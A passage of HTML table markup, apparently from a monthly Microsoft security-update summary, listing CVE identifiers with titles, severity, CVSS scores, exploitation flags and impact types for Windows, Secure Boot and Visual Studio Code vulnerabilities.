  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
